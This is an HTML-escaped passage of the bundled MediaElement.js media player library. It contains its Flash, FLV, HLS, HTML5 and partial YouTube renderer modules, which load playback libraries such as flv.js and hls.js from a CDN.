	_renderer.renderer.add(FlashMediaElementVideoRenderer);

	var FlashMediaElementHlsVideoRenderer = {
		name: &#039;flash_hls&#039;,
		options: {
			prefix: &#039;flash_hls&#039;,
			filename: &#039;mediaelement-flash-video-hls.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;application/x-mpegurl&#039;, &#039;application/vnd.apple.mpegurl&#039;, &#039;audio/mpegurl&#039;, &#039;audio/hls&#039;, &#039;video/hls&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementHlsVideoRenderer);

	var FlashMediaElementMdashVideoRenderer = {
		name: &#039;flash_dash&#039;,
		options: {
			prefix: &#039;flash_dash&#039;,
			filename: &#039;mediaelement-flash-video-mdash.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;application/dash+xml&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementMdashVideoRenderer);

	var FlashMediaElementAudioRenderer = {
		name: &#039;flash_audio&#039;,
		options: {
			prefix: &#039;flash_audio&#039;,
			filename: &#039;mediaelement-flash-audio.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;audio/mp3&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementAudioRenderer);

	var FlashMediaElementAudioOggRenderer = {
		name: &#039;flash_audio_ogg&#039;,
		options: {
			prefix: &#039;flash_audio_ogg&#039;,
			filename: &#039;mediaelement-flash-audio-ogg.swf&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;audio/ogg&#039;, &#039;audio/oga&#039;, &#039;audio/ogv&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create
	};
	_renderer.renderer.add(FlashMediaElementAudioOggRenderer);
}

},{&quot;16&quot;:16,&quot;18&quot;:18,&quot;19&quot;:19,&quot;2&quot;:2,&quot;3&quot;:3,&quot;5&quot;:5,&quot;7&quot;:7,&quot;8&quot;:8}],12:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(18);

var _constants = _dereq_(16);

var _media = _dereq_(19);

var _dom = _dereq_(17);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NativeFlv = {

	promise: null,

	load: function load(settings) {
		if (typeof flvjs !== &#039;undefined&#039;) {
			NativeFlv.promise = new Promise(function (resolve) {
				resolve();
			}).then(function () {
				NativeFlv._createPlayer(settings);
			});
		} else {
			settings.options.path = typeof settings.options.path === &#039;string&#039; ? settings.options.path : &#039;https://cdn.jsdelivr.net/npm/flv.js@latest&#039;;

			NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path);
			NativeFlv.promise.then(function () {
				NativeFlv._createPlayer(settings);
			});
		}

		return NativeFlv.promise;
	},

	_createPlayer: function _createPlayer(settings) {
		flvjs.LoggingControl.enableDebug = settings.options.debug;
		flvjs.LoggingControl.enableVerbose = settings.options.debug;
		var player = flvjs.createPlayer(settings.options, settings.configs);
		_window2.default[&#039;__ready__&#039; + settings.id](player);
		return player;
	}
};

var FlvNativeRenderer = {
	name: &#039;native_flv&#039;,
	options: {
		prefix: &#039;native_flv&#039;,
		flv: {
			path: &#039;https://cdn.jsdelivr.net/npm/flv.js@latest&#039;,

			cors: true,
			debug: false
		}
	},

	canPlayType: function canPlayType(type) {
		return _constants.HAS_MSE &amp;&amp; [&#039;video/x-flv&#039;, &#039;video/flv&#039;].indexOf(type.toLowerCase()) &gt; -1;
	},

	create: function create(mediaElement, options, mediaFiles) {

		var originalNode = mediaElement.originalNode,
		    id = mediaElement.id + &#039;_&#039; + options.prefix;

		var node = null,
		    flvPlayer = null;

		node = originalNode.cloneNode(true);
		options = Object.assign(options, mediaElement.options);

		var props = _mejs2.default.html5media.properties,
		    events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    attachNativeEvents = function attachNativeEvents(e) {
			var event = (0, _general.createEvent)(e.type, mediaElement);
			mediaElement.dispatchEvent(event);
		},
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return flvPlayer !== null ? node[propName] : null;
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					if (propName === &#039;src&#039;) {
						node[propName] = (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src ? value.src : value;
						if (flvPlayer !== null) {
							var _flvOptions = {};
							_flvOptions.type = &#039;flv&#039;;
							_flvOptions.url = value;
							_flvOptions.cors = options.flv.cors;
							_flvOptions.debug = options.flv.debug;
							_flvOptions.path = options.flv.path;
							var _flvConfigs = options.flv.configs;

							flvPlayer.destroy();
							for (var i = 0, total = events.length; i &lt; total; i++) {
								node.removeEventListener(events[i], attachNativeEvents);
							}
							flvPlayer = NativeFlv._createPlayer({
								options: _flvOptions,
								configs: _flvConfigs,
								id: id
							});
							flvPlayer.attachMediaElement(node);
							flvPlayer.load();
						}
					} else {
						node[propName] = value;
					}
				}
			};
		};

		for (var i = 0, total = props.length; i &lt; total; i++) {
			assignGettersSetters(props[i]);
		}

		_window2.default[&#039;__ready__&#039; + id] = function (_flvPlayer) {
			mediaElement.flvPlayer = flvPlayer = _flvPlayer;

			var flvEvents = flvjs.Events,
			    assignEvents = function assignEvents(eventName) {
				if (eventName === &#039;loadedmetadata&#039;) {
					flvPlayer.unload();
					flvPlayer.detachMediaElement();
					flvPlayer.attachMediaElement(node);
					flvPlayer.load();
				}

				node.addEventListener(eventName, attachNativeEvents);
			};

			for (var _i = 0, _total = events.length; _i &lt; _total; _i++) {
				assignEvents(events[_i]);
			}

			var assignFlvEvents = function assignFlvEvents(name, data) {
				if (name === &#039;error&#039;) {
					var message = data[0] + &#039;: &#039; + data[1] + &#039; &#039; + data[2].msg;
					mediaElement.generateError(message, node.src);
				} else {
					var _event = (0, _general.createEvent)(name, mediaElement);
					_event.data = data;
					mediaElement.dispatchEvent(_event);
				}
			};

			var _loop = function _loop(eventType) {
				if (flvEvents.hasOwnProperty(eventType)) {
					flvPlayer.on(flvEvents[eventType], function () {
						for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
							args[_key] = arguments[_key];
						}

						return assignFlvEvents(flvEvents[eventType], args);
					});
				}
			};

			for (var eventType in flvEvents) {
				_loop(eventType);
			}
		};

		if (mediaFiles &amp;&amp; mediaFiles.length &gt; 0) {
			for (var _i2 = 0, _total2 = mediaFiles.length; _i2 &lt; _total2; _i2++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[_i2].src);
					break;
				}
			}
		}

		node.setAttribute(&#039;id&#039;, id);

		originalNode.parentNode.insertBefore(node, originalNode);
		originalNode.autoplay = false;
		originalNode.style.display = &#039;none&#039;;

		var flvOptions = {};
		flvOptions.type = &#039;flv&#039;;
		flvOptions.url = node.src;
		flvOptions.cors = options.flv.cors;
		flvOptions.debug = options.flv.debug;
		flvOptions.path = options.flv.path;
		var flvConfigs = options.flv.configs;

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			if (flvPlayer !== null) {
				flvPlayer.pause();
			}
			node.style.display = &#039;none&#039;;
			return node;
		};

		node.show = function () {
			node.style.display = &#039;&#039;;
			return node;
		};

		node.destroy = function () {
			if (flvPlayer !== null) {
				flvPlayer.destroy();
			}
		};

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		mediaElement.promises.push(NativeFlv.load({
			options: flvOptions,
			configs: flvConfigs,
			id: id
		}));

		return node;
	}
};

_media.typeChecks.push(function (url) {
	return ~url.toLowerCase().indexOf(&#039;.flv&#039;) ? &#039;video/flv&#039; : null;
});

_renderer.renderer.add(FlvNativeRenderer);

},{&quot;16&quot;:16,&quot;17&quot;:17,&quot;18&quot;:18,&quot;19&quot;:19,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],13:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(18);

var _constants = _dereq_(16);

var _media = _dereq_(19);

var _dom = _dereq_(17);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NativeHls = {

	promise: null,

	load: function load(settings) {
		if (typeof Hls !== &#039;undefined&#039;) {
			NativeHls.promise = new Promise(function (resolve) {
				resolve();
			}).then(function () {
				NativeHls._createPlayer(settings);
			});
		} else {
			settings.options.path = typeof settings.options.path === &#039;string&#039; ? settings.options.path : &#039;https://cdn.jsdelivr.net/npm/hls.js@latest&#039;;

			NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path);
			NativeHls.promise.then(function () {
				NativeHls._createPlayer(settings);
			});
		}

		return NativeHls.promise;
	},

	_createPlayer: function _createPlayer(settings) {
		var player = new Hls(settings.options);
		_window2.default[&#039;__ready__&#039; + settings.id](player);
		return player;
	}
};

var HlsNativeRenderer = {
	name: &#039;native_hls&#039;,
	options: {
		prefix: &#039;native_hls&#039;,
		hls: {
			path: &#039;https://cdn.jsdelivr.net/npm/hls.js@latest&#039;,

			autoStartLoad: false,
			debug: false
		}
	},

	canPlayType: function canPlayType(type) {
		return _constants.HAS_MSE &amp;&amp; [&#039;application/x-mpegurl&#039;, &#039;application/vnd.apple.mpegurl&#039;, &#039;audio/mpegurl&#039;, &#039;audio/hls&#039;, &#039;video/hls&#039;].indexOf(type.toLowerCase()) &gt; -1;
	},

	create: function create(mediaElement, options, mediaFiles) {

		var originalNode = mediaElement.originalNode,
		    id = mediaElement.id + &#039;_&#039; + options.prefix,
		    preload = originalNode.getAttribute(&#039;preload&#039;),
		    autoplay = originalNode.autoplay;

		var hlsPlayer = null,
		    node = null,
		    index = 0,
		    total = mediaFiles.length;

		node = originalNode.cloneNode(true);
		options = Object.assign(options, mediaElement.options);
		options.hls.autoStartLoad = preload &amp;&amp; preload !== &#039;none&#039; || autoplay;

		var props = _mejs2.default.html5media.properties,
		    events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    attachNativeEvents = function attachNativeEvents(e) {
			var event = (0, _general.createEvent)(e.type, mediaElement);
			mediaElement.dispatchEvent(event);
		},
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return hlsPlayer !== null ? node[propName] : null;
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					if (propName === &#039;src&#039;) {
						node[propName] = (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src ? value.src : value;
						if (hlsPlayer !== null) {
							hlsPlayer.destroy();
							for (var i = 0, _total = events.length; i &lt; _total; i++) {
								node.removeEventListener(events[i], attachNativeEvents);
							}
							hlsPlayer = NativeHls._createPlayer({
								options: options.hls,
								id: id
							});
							hlsPlayer.loadSource(value);
							hlsPlayer.attachMedia(node);
						}
					} else {
						node[propName] = value;
					}
				}
			};
		};

		for (var i = 0, _total2 = props.length; i &lt; _total2; i++) {
			assignGettersSetters(props[i]);
		}

		_window2.default[&#039;__ready__&#039; + id] = function (_hlsPlayer) {
			mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer;
			var hlsEvents = Hls.Events,
			    assignEvents = function assignEvents(eventName) {
				if (eventName === &#039;loadedmetadata&#039;) {
					var url = mediaElement.originalNode.src;
					hlsPlayer.detachMedia();
					hlsPlayer.loadSource(url);
					hlsPlayer.attachMedia(node);
				}

				node.addEventListener(eventName, attachNativeEvents);
			};

			for (var _i = 0, _total3 = events.length; _i &lt; _total3; _i++) {
				assignEvents(events[_i]);
			}

			var recoverDecodingErrorDate = void 0,
			    recoverSwapAudioCodecDate = void 0;
			var assignHlsEvents = function assignHlsEvents(name, data) {
				if (name === &#039;hlsError&#039;) {
					console.warn(data);
					data = data[1];

					if (data.fatal) {
						switch (data.type) {
							case &#039;mediaError&#039;:
								var now = new Date().getTime();
								if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate &gt; 3000) {
									recoverDecodingErrorDate = new Date().getTime();
									hlsPlayer.recoverMediaError();
								} else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate &gt; 3000) {
									recoverSwapAudioCodecDate = new Date().getTime();
									console.warn(&#039;Attempting to swap Audio Codec and recover from media error&#039;);
									hlsPlayer.swapAudioCodec();
									hlsPlayer.recoverMediaError();
								} else {
									var message = &#039;Cannot recover, last media error recovery failed&#039;;
									mediaElement.generateError(message, node.src);
									console.error(message);
								}
								break;
							case &#039;networkError&#039;:
								if (data.details === &#039;manifestLoadError&#039;) {
									if (index &lt; total &amp;&amp; mediaFiles[index + 1] !== undefined) {
										node.setSrc(mediaFiles[index++].src);
										node.load();
										node.play();
									} else {
										var _message = &#039;Network error&#039;;
										mediaElement.generateError(_message, mediaFiles);
										console.error(_message);
									}
								} else {
									var _message2 = &#039;Network error&#039;;
									mediaElement.generateError(_message2, mediaFiles);
									console.error(_message2);
								}
								break;
							default:
								hlsPlayer.destroy();
								break;
						}
						return;
					}
				}
				var event = (0, _general.createEvent)(name, mediaElement);
				event.data = data;
				mediaElement.dispatchEvent(event);
			};

			var _loop = function _loop(eventType) {
				if (hlsEvents.hasOwnProperty(eventType)) {
					hlsPlayer.on(hlsEvents[eventType], function () {
						for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
							args[_key] = arguments[_key];
						}

						return assignHlsEvents(hlsEvents[eventType], args);
					});
				}
			};

			for (var eventType in hlsEvents) {
				_loop(eventType);
			}
		};

		if (total &gt; 0) {
			for (; index &lt; total; index++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[index].src);
					break;
				}
			}
		}

		if (preload !== &#039;auto&#039; &amp;&amp; !autoplay) {
			node.addEventListener(&#039;play&#039;, function () {
				if (hlsPlayer !== null) {
					hlsPlayer.startLoad();
				}
			});

			node.addEventListener(&#039;pause&#039;, function () {
				if (hlsPlayer !== null) {
					hlsPlayer.stopLoad();
				}
			});
		}

		node.setAttribute(&#039;id&#039;, id);

		originalNode.parentNode.insertBefore(node, originalNode);
		originalNode.autoplay = false;
		originalNode.style.display = &#039;none&#039;;

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			node.pause();
			node.style.display = &#039;none&#039;;
			return node;
		};

		node.show = function () {
			node.style.display = &#039;&#039;;
			return node;
		};

		node.destroy = function () {
			if (hlsPlayer !== null) {
				hlsPlayer.stopLoad();
				hlsPlayer.destroy();
			}
		};

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		mediaElement.promises.push(NativeHls.load({
			options: options.hls,
			id: id
		}));

		return node;
	}
};

_media.typeChecks.push(function (url) {
	return ~url.toLowerCase().indexOf(&#039;.m3u8&#039;) ? &#039;application/x-mpegURL&#039; : null;
});

_renderer.renderer.add(HlsNativeRenderer);

},{&quot;16&quot;:16,&quot;17&quot;:17,&quot;18&quot;:18,&quot;19&quot;:19,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],14:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(18);

var _constants = _dereq_(16);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var HtmlMediaElement = {
	name: &#039;html5&#039;,
	options: {
		prefix: &#039;html5&#039;
	},

	canPlayType: function canPlayType(type) {

		var mediaElement = _document2.default.createElement(&#039;video&#039;);

		if (_constants.IS_ANDROID &amp;&amp; /\/mp(3|4)$/i.test(type) || ~[&#039;application/x-mpegurl&#039;, &#039;vnd.apple.mpegurl&#039;, &#039;audio/mpegurl&#039;, &#039;audio/hls&#039;, &#039;video/hls&#039;].indexOf(type.toLowerCase()) &amp;&amp; _constants.SUPPORTS_NATIVE_HLS) {
			return &#039;yes&#039;;
		} else if (mediaElement.canPlayType) {
			return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, &#039;&#039;);
		} else {
			return &#039;&#039;;
		}
	},

	create: function create(mediaElement, options, mediaFiles) {

		var id = mediaElement.id + &#039;_&#039; + options.prefix;
		var isActive = false;

		var node = null;

		if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) {
			node = _document2.default.createElement(&#039;audio&#039;);
			mediaElement.appendChild(node);
		} else {
			node = mediaElement.originalNode;
		}

		node.setAttribute(&#039;id&#039;, id);

		var props = _mejs2.default.html5media.properties,
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return node[propName];
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					node[propName] = value;
				}
			};
		};

		for (var i = 0, _total = props.length; i &lt; _total; i++) {
			assignGettersSetters(props[i]);
		}

		var events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    assignEvents = function assignEvents(eventName) {
			node.addEventListener(eventName, function (e) {
				if (isActive) {
					var _event = (0, _general.createEvent)(e.type, e.target);
					mediaElement.dispatchEvent(_event);
				}
			});
		};

		for (var _i = 0, _total2 = events.length; _i &lt; _total2; _i++) {
			assignEvents(events[_i]);
		}

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			isActive = false;
			node.style.display = &#039;none&#039;;

			return node;
		};

		node.show = function () {
			isActive = true;
			node.style.display = &#039;&#039;;

			return node;
		};

		var index = 0,
		    total = mediaFiles.length;
		if (total &gt; 0) {
			for (; index &lt; total; index++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[index].src);
					break;
				}
			}
		}

		node.addEventListener(&#039;error&#039;, function (e) {
			if (e &amp;&amp; e.target &amp;&amp; e.target.error &amp;&amp; e.target.error.code === 4 &amp;&amp; isActive) {
				if (index &lt; total &amp;&amp; mediaFiles[index + 1] !== undefined) {
					node.src = mediaFiles[index++].src;
					node.load();
					node.play();
				} else {
					mediaElement.generateError(&#039;Media error: Format(s) not supported or source(s) not found&#039;, mediaFiles);
				}
			}
		});

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		return node;
	}
};

_window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement;

_renderer.renderer.add(HtmlMediaElement);

},{&quot;16&quot;:16,&quot;18&quot;:18,&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],15:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(18);

var _media = _dereq_(19);

var _dom = _dereq_(17);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var YouTubeApi = {
	isIframeStarted: false,

	isIframeLoaded: false,

	iframeQueue: [],

	enqueueIframe: function enqueueIframe(settings) {
		YouTubeApi.isLoaded = typeof YT !== &#039;undefined&#039; &amp;&amp; YT.loaded;

		if (YouTubeApi.isLoaded) {
			YouTubeApi.createIframe(settings);
		} else {
			YouTubeApi.loadIframeApi();
			YouTubeApi.iframeQueue.push(settings);
		}
	},

	loadIframeApi: function loadIframeApi() {
		if (!YouTubeApi.isIframeStarted) {
			(0, _dom.loadScript)(&#039;https://www.youtube.com/player_api&#039;);
			YouTubeApi.isIframeStarted = true;
		}
	},

	iFrameReady: function iFrameReady() {

		YouTubeApi.isLoaded = true;
		YouTubeApi.isIframeLoaded = true;

		while (YouTubeApi.iframeQueue.length &gt; 0) {
			var settings = YouTubeApi.iframeQueue.pop();
			YouTubeApi.createIframe(settings);
		}
	},

	createIframe: function createIframe(settings) {
		return new YT.Player(settings.containerId, settings);
	},

	getYouTubeId: function getYouTubeId(url) {

		var youTubeId = &#039;&#039;;

		if (url.indexOf(&#039;?&#039;) &gt; 0) {
			youTubeId = YouTubeApi.getYouTubeIdFromParam(url);

			if (youTubeId === &#039;&#039;) {
				youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
			}
		} else {
			youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
		}

		var id = youTubeId.substring(youTubeId.lastIndexOf(&#039;/&#039;) + 1);
		youTubeId = id.split(&#039;?&#039;);
		return youTubeId[0];
	},

	getYouTubeIdFromParam: function getYouTubeIdFromParam(url) {

		if (url === undefined || url === null || !url.trim().length) {
			return null;
		}

		var parts = url.split(&#039;?&#039;),
		    parameters = parts[1].split(&#039;&amp;&#039;);

		var youTubeId = &#039;&#039;;

		for (var i = 0, total = parameters.length; i &lt; total; i++) {
			var paramParts = parameters[i].split(&#039;=&#039;);
			if (paramParts[0] === &#039;v&#039;) {
				youTubeId = paramParts[1];
				break;
			}
		}

		return youTubeId;
	},

	getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) {

		if (url === undefined || url === null || !url.trim().length) {
			return null;
		}

		var parts = url.split(&#039;?&#039;);
		url = parts[0];
		return url.substring(url.lastIndexOf(&#039;/&#039;) + 1);
	},

	getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) {
		if (url === undefined || url === null || !url.trim().length || url.indexOf(&#039;//www.youtube&#039;) === -1) {
			return url;
		}

		var parts = url.split(&#039;/&#039;);
		parts[2] = parts[2].replace(&#039;.com&#039;, &#039;-nocookie.com&#039;);
		return parts.join(&#039;/&#039;);
	}
};

var YouTubeIframeRenderer = {
	name: &#039;youtube_iframe&#039;,

	options: {
		prefix: &#039;youtube_iframe&#039;,

		youtube: {
			autoplay: 0,
			controls: 0,
			disablekb: 1,
			end: 0,
			loop: 0,
			modestbranding: 0,
			playsinline: 0,
			rel: 0,
			showinfo: 0,
			start: 0,
			iv_load_policy: 3,

			nocookie: false,

			imageQuality: null
		}
	},

	canPlayType: function canPlayType(type) {
		return ~[&#039;video/youtube&#039;, &#039;video/x-youtube&#039;].indexOf(type.toLowerCase());
	},

	create: function create(mediaElement, options, mediaFiles) {

		var youtube = {},
		    apiStack = [],
		    readyState = 4;

		var youTubeApi = null,
		    paused = true,
		    ended = false,
		    youTubeIframe = null,
		    volume = 1;

		youtube.options = options;
		youtube.id = mediaElement.id + &#039;_&#039; + options.prefix;
		youtube.mediaElement = mediaElement;

		var props = _mejs2.default.html5media.properties,
		    assignGettersSetters = function assignGettersSetters(propName) {

			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			youtube[&#039;get&#039; + capName] = function () {
				if (youTubeApi !== null) {
					var value = null;

					switch (propName) {
						case &#039;currentTime&#039;:
							return youTubeApi.getCurrentTime();
						case &#039;duration&#039;:
							return youTubeApi.getDuration();
						case &#039;volume&#039;:
							volume = youTubeApi.getVolume() / 100;
							return volume;
						case &#039;playbackRate&#039;:
							return youTubeApi.getPlaybackRate();
						case &#039;paused&#039;:
							return paused;
						case &#039;ended&#039;:
							return ended;
						case &#039;muted&#039;:
							return youTubeApi.isMuted();
						case &#039;buffered&#039;:
							var percentLoaded = youTubeApi.getVideoLoadedFraction(),
							    duration = youTubeApi.getDuration();
							return {
								start: function start() {
									return 0;
								},
								end: function end() {
									return percentLoaded * duration;
								},
								length: 1
							};
						case &#039;src&#039;:
							return youTubeApi.getVideoUrl();
						case &#039;readyState&#039;:
							return readyState;
					}

					return value;
				} else {
					return null;
				}
			};

			youtube[&#039;set&#039; + capName] = function (value) {
				if (youTubeApi !== null) {
					switch (propName) {
						case &#039;src&#039;:
							var url = typeof value === &#039;string&#039; ? value : value[0].src,
							    _videoId = YouTubeApi.getYouTubeId(url);

							if (mediaElement.originalNode.autoplay) {
								youTubeApi.loadVideoById(_videoId);
							} else {
								youTubeApi.cueVideoById(_videoId);
							}
							break;
						case &#039;currentTime&#039;:
							youTubeApi.seekTo(value);
							break;
						case &#039;muted&#039;:
							if (value) {
								youTubeApi.mute();
							} else {
								youTubeApi.unMute();
							}
							setTimeout(function () {
								var event = (0, _general.createEvent)(&#039;volumechange&#039;, youtube);
								mediaElement.dispatchEvent(event);
							}, 50);
							break;
						case &#039;volume&#039;:
							volume = value;
							youTubeApi.setVolume(value * 100);
							setTimeout(function () {
								var event = (0, _general.createEvent)(&#039;volumechange&#039;, youtube);
								mediaElement.dispatchEvent(event);
							}, 50);
							break;
						case &#039;playbackRate&#039;:
							youTubeApi.setPlaybackRate(value);
							setTimeout(function () {
								var event = (0, _general.createEvent)(&#039;ratechange&#039;, youtube);
								mediaElement.dispatchEvent(event);
							}, 50);
							break;
						case &#039;readyState&#039;:
							var event = (0, _general.createEvent)(&#039;canplay&#039;, youtube);
							mediaElement.dispatchEvent(event);
							break;
						default:
							
							break;
					}
				} else {
					apiStack.push({ type: &#039;set&#039;, propName: propName, value: value });
				}
			};
		};

		for (var i = 0, total = props.length; i &lt; total; i++) {
			assignGettersSetters(props[i]);
		}

		var methods = _mejs2.default.html5media.methods,
		    assignMethods = function assignMethods(methodName) {
			youtube[methodName] = function () {
				if (youTubeApi !== null) {
					switch (methodName) {
						case &#039;play&#039;:
							paused = false;
							return youTubeApi.playVideo();
						case &#039;pause&#039;:
							paused = true;
							return youTubeApi.pauseVideo();
						case &#039;load&#039;:
							return null;
					}
				} else {
					apiStack.push({ type: &#039;call&#039;, methodName: methodName });
				}
			};
		};

		for (var _i = 0, _total = methods.length; _i &lt; _total; _i++) {
			assignMethods(methods[_i]);
		}

		var errorHandler = function errorHandler(error) {
			var message = &#039;&#039;;
			switch (error.data) {
				case 2:
					message = &#039;The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.&#039;;
					break;
				case 5:
					message = &#039;The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.&#039;;
					break;
				case 100:
					message = &#039;The video requested was not found. Either video has been removed or has been marked as private.&#039;;
					break;
				case 101:
				case 105:
					message = &#039;The owner of the requested video does not allow it to be played in embedded players.&#039;;
					break;
				default:
					message = &#039;Unknown error.&#039;;
					break;
			}
			mediaElement.generateError(&#039;Code &#039; + error.data + &#039;: &#039; + message, mediaFiles);
		};

		var youtubeContainer = _document2.default.createElement(&#039;div&#039;);
		youtubeContainer.id = youtube.id;

		if (youtube.options.youtube.nocookie) {
			mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src);
		}

		mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode);
		mediaElement.originalNode.style.display = &#039;none&#039;;

		var isAudio = mediaElement.originalNode.tagName.toLowerCase() === &#039;audio&#039;,
		    height = isAudio ? &#039;1&#039; : mediaElement.originalNode.height,
		    width = isAudio ? &#039;1&#039; : mediaElement.originalNode.width,
		    videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src),
		    youtubeSettings = {
			id: youtube.id,
			containerId: youtubeContainer.id,
			videoId: videoId,
			height: height,
			width: width,
			host: youtube.options.youtube &amp;&amp; youtube.options.youtube.nocookie ? &#039;https://www.youtube-nocookie.com&#039; : undefined,
			playerVars: Object.assign({
				controls: 0,
				rel: 0,
				disablekb: 1,
				showinfo: 0,
				modestbranding: 0,
				html5: 1,
				iv_load_policy: 3
			}, youtube.options.youtube),
			origin: _window2.default.location.host,
			events: {
